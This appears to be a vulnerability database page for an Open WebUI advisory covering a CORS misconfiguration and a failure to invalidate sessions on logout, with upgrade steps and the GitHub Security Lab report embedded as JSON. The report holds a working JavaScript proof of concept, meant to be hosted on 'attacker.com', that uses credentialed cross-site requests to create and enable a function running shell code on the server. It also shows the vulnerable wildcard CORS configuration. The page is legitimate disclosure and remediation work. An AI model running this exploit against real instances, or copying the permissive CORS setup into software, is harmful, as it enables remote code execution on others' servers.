GHSA-6xcp-7mpr-m7wm: Open webui Open WebUI Has A CORS Vulnerability
HIGHGHSA-6xcp-7mpr-m7wm is a HIGH (CVSS 8.3) open webui has a cors vulnerability (CWE-613: Insufficient Session Expiration) affecting Open webui libraries in the PyPI ecosystem. The issue involves open webui has a cors misconfiguration and session validation issue. Remediation is available by upgrading affected packages to version 0.3.33.
GHSA-6xcp-7mpr-m7wm at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H).
How to Fix GHSA-6xcp-7mpr-m7wm
To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install open-webui>=0.3.33
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webui
How to Check if You Are Affected
To determine whether your Python environment is affected by GHSA-6xcp-7mpr-m7wm, inspect your installed packages using pip:
pip show open-webui
Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.3.33), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-613: Insufficient Session Expiration, where according to wasc, "insufficient session expiration is when a web site permits an attacker to reuse old session credentials or session ids for authorization.". In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-6xcp-7mpr-m7wm Affected Open webui Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
< 0.3.33
|
0.3.33
|
References
Frequently Asked Questions
What is GHSA-6xcp-7mpr-m7wm?
Which Open webui versions are affected?
What version fixes GHSA-6xcp-7mpr-m7wm?
Is open-webui affected?
What is the CVSS score of GHSA-6xcp-7mpr-m7wm?
What CWE is associated with GHSA-6xcp-7mpr-m7wm?
How can I check PyPI dependencies for GHSA-6xcp-7mpr-m7wm?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6xcp-7mpr-m7wm",
"modified" : "2026-05-11T14:02:04Z",
"published" : "2026-05-11T14:02:04Z",
"aliases" : [ ],
"summary" : "Open WebUI has a CORS misconfiguration and session validation issue",
"details" : "# GitHub Security Lab (GHSL) Vulnerability Report, open-webui: `GHSL-2024-174`, `GHSL-2024-175`\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified potential security vulnerabilities in [open-webui](https://github.com/open-webui/open-webui).\n\nWe are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.\n\nIf at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `securitylab@github.com` (please include `GHSL-2024-174` or `GHSL-2024-175` as a reference). See also [this blog post](https://github.blog/2022-04-22-removing-the-stigma-of-a-cve/) written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.\n\nIf you are _NOT_ the correct point of contact for this report, please let us know!\n\n## Summary\n\nDue to a CORS misconfiguration and session validation issue, an attacker may be able to perform a 1 click attack against browsers with admin access to openwebui, resulting in remote code execution in the openwebui instance. The openwebui application runs as root in Docker container's default setup, which allows for complete compromise of the container.\n\n## Project\n\nopen-webui\n\n## Tested Version\n\n[v0.3.10](https://github.com/open-webui/open-webui/releases/tag/v0.3.10)\n\n## Details\n\n### Issue 1: CORS misconfiguration on multiple routers (`GHSL-2024-174`)\n\nCORS misconfigurations exist on multiple routers of open-webui which results in allowing arbitrary websites to make authenticated cross site requests to openwebui. Accounts with access to the `/api/v1/functions` endpoint (admins) can execute arbitrary code on the openwebui instance. \n\nThe following pattern occurs at the following routers:\n1. [backend/apps/webui/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/webui/main.py#L92)\n2. [backend/apps/audio/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/audio/main.py#L58)\n3. [backend/apps/images/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/images/main.py#L60)\n4. [backend/apps/rag/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/rag/main.py#L246)\n5. [backend/apps/openai/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/openai/main.py#L47)\n6. [backend/apps/ollama/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/apps/ollama/main.py#L62)\n7. [backend/main.py](https://github.com/open-webui/open-webui/blob/v0.3.10/backend/main.py#L881)\n```python\napp.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n```\n\n#### Impact\n\nThis issue may lead to `Remote Code Execution`.\n\n#### Remediation\n\nThe FastAPI CORS middleware is not safe by default, meaning it reflects the origin when specifying `allow_origins=[\"*\"]`. Remove the vulnerable, broad origin and allow users to dynamically setup the exact allowed origins via the administration panel or config file, do not allow for broad origins such as `\"*\"` or `\"*.com\"`\n\n#### Proof of Concept\n\nHost the following code on your website, `attacker.com`. Open the webpage using Firefox, and click on the webpage as instructed. Check your openwebui host to see the result of the command `whoami` placed into a newly created file `/tmp/whoami.txt`. Ensure you have logged into an admin open-webui account \n```javascript\n<body>\n <p>Click here to login.</p>\n <div id=\"response\"></div>\n \n <script>\n //Firefox cross site cookie request bypass\n const url = 'http://localhost:3000/static/favicon.png';\n document.addEventListener(\"DOMContentLoaded\", () => {\n document.onclick = () => {\n open(url);\n filter_id = \"okok\"\n//Create a function/filter to write code\nfetch('http://localhost:3000/api/v1/functions/create', {\n method: 'POST',\n headers: {\n 'Content-Type': 'application/json'\n },\n body: JSON.stringify({\n \"id\": filter_id,\n \"name\": \"test2\",\n \"meta\": {\"description\": \"test2\"},\n \"content\": \"from pydantic import BaseModel, Field\\nfrom typing import Optional\\n\\n\\nclass Filter:\\n class Valves(BaseModel):\\n priority: int = Field(\\n default=0, description=\\\"Priority level for the filter operations.\\\"\\n )\\n max_turns: int = Field(\\n default=8, description=\\\"Maximum allowable conversation turns for a user.\\\"\\n )\\n pass\\n\\n class UserValves(BaseModel):\\n max_turns: int = Field(\\n default=4, description=\\\"Maximum allowable conversation turns for a user.\\\"\\n )\\n pass\\n\\n def __init__(self):\\n # Indicates custom file handling logic. This flag helps disengage default routines in favor of custom\\n # implementations, informing the WebUI to defer file-related operations to designated methods within this class.\\n # Alternatively, you can remove the files directly from the body in from the inlet hook\\n # self.file_handler = True\\n\\n # Initialize 'valves' with specific configurations. Using 'Valves' instance helps encapsulate settings,\\n # which ensures settings are managed cohesively and not confused with operational flags like 'file_handler'.\\n self.valves = self.Valves()\\n f = open(\\\"/tmp/whoami.txt\\\", \\\"w\\\")\\n import subprocess\\n\\n output = subprocess.getoutput(\\\"whoami\\\")\\n f.write(output)\\n f.close()\\n pass\\n\\n def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\\n return body\\n\\n def outlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\\n return body\\n\"\n }),\n credentials: 'include' // This will send cookies from the origin\n})\n.then(response => response.json())\n.then(data => console.log(data))\n.catch((error) => console.error('Error:', error)); \n\n\n//Toggle the filter to execute code\nfetch(`http://localhost:3000/api/v1/functions/id/${filter_id}/toggle`, {\n method: 'POST',\n credentials: 'include' // This will send cookies from the origin\n})\n.then(response => response.json())\n.then(data => console.log(data))\n.catch((error) => console.error('Error:', error)); \n }\n });\n </script>\n </body>\n```\n\n### Issue 2: Failure to Invalidate Session on Logout (`GHSL-2024-175`)\n\nOpenwebui fails to invalidate and clear session cookies after logout. In fact, it seems to reuse the same session cookies. This allows an attacker who has access to previous session cookie details to login at a later point as long as the victim has not closed their browser.\n\nThis vulnerability is relevant to the above CORS issue because it no longer requires the user to be logged in to exploit. If the cookie had been properly invalidated/cleared, the CORS issue would only affect logged in users. \n\n#### Impact\n\nThis issue may increase the impact of primitives gained from other security issues.\n\n#### Remediation\n\nFor every session, new cookies should be generated. When a user logouts, the session cookies from the previous session should be invalidated and removed from the browser's storage.\n\n#### Resources\n[OWASP Recommendation On Sessions](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n\n## GitHub Security Advisories\n\nWe recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory).\n\n## Credit\n\nThese issues were discovered and reported by GHSL team member [@Kwstubbs (Kevin Stubbings)](https://github.com/Kwstubbs).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2024-174` or `GHSL-2024-175` in any communication regarding these issues.\n\n## Disclosure Policy\n\nThis report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.3.33"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-6xcp-7mpr-m7wm"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-613" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-11T14:02:04Z",
"nvd_published_at" : null
}
}